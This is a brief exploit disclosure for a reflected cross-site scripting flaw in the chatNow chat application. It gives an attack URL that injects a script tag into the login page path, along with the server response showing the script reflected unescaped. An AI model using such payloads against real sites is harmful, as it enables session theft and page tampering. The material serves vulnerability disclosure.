# Exploit Title: chatNow - Reflected XSS # Date: 2016-08-23 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: http://chatnow.thiagosf.net/ # Software Link: https://github.com/thiagosf/chatNow/archive/master.zip # Version: Latest commit # Tested on: Debian [wheezy] ### Vulnerability This page url is reflected data on page It is vulnerable page because not filtered reflected url ### Attack code http://127.0.0.1/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1 ### Response <div id="box_login"> <h2>chatNow</h2> <form action="/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1" method="post"> <div class="block_field"> <label for="user">Nick</label> <input type="text" name="user" id="user" maxlength="20" /> </div>